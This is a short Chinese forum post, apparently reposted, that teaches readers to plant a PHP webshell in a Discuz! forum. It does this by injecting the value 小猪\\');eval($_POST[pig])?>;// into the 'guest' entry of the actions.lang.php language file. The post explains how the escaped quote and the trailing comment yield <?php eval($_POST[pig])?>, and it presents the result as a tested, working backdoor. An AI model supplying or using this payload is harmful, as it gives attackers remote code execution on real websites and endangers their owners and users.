|
摘自 晴天小猪
我本机测试成功
actions.lang.php
<?php
// Action Pack for Discuz! Version 1.0.0 // Created by Crossday
$actioncode = array ( 0 => '回到论坛',
1 => '浏览论坛首页', 2 => '浏览论坛版块', 省略...
255 => '提示信息/页面跳转' );
$language = array ( 'guest' => '游客' ); ?>
在游客地方可以得到 网上很多方法都是这里的 基本都不能成功
所以我们来想办法
'游客'
其实很简单 只要<?php eval($_POST[cmd])?> 能绕过 '游客' 逗号就可以了
方法有很多 我最终得到一个最简单最实用的code
小猪\\');eval($_POST[pig])?>;//
下面来说下为什么
<?php
// Action Pack for Discuz! Version 1.0.0 // Created by Crossday
$actioncode = array ( 0 => '回到论坛',
1 => '浏览论坛首页', 省略...);
$language = array ( 'guest' => '小猪\\');eval($ _POST[pig])?>;//');?>
一 '小猪\\'这个变成了刚才的'游客'
因为discuz官方把'都过滤了 '会转义成\' 这个叫转义字符 有兴趣的朋友可以去学习下
二 //');?> //这个注释掉了');?>
php语言里面//是注释的的意思 后面的语句不起任何作用 只是为了注释
eval($_POST[pig])?>这个和代码开头的<?php 构成了
<?php eval($_POST[pig])?>
成功得到一句话后门
呵呵 很简单
如图
|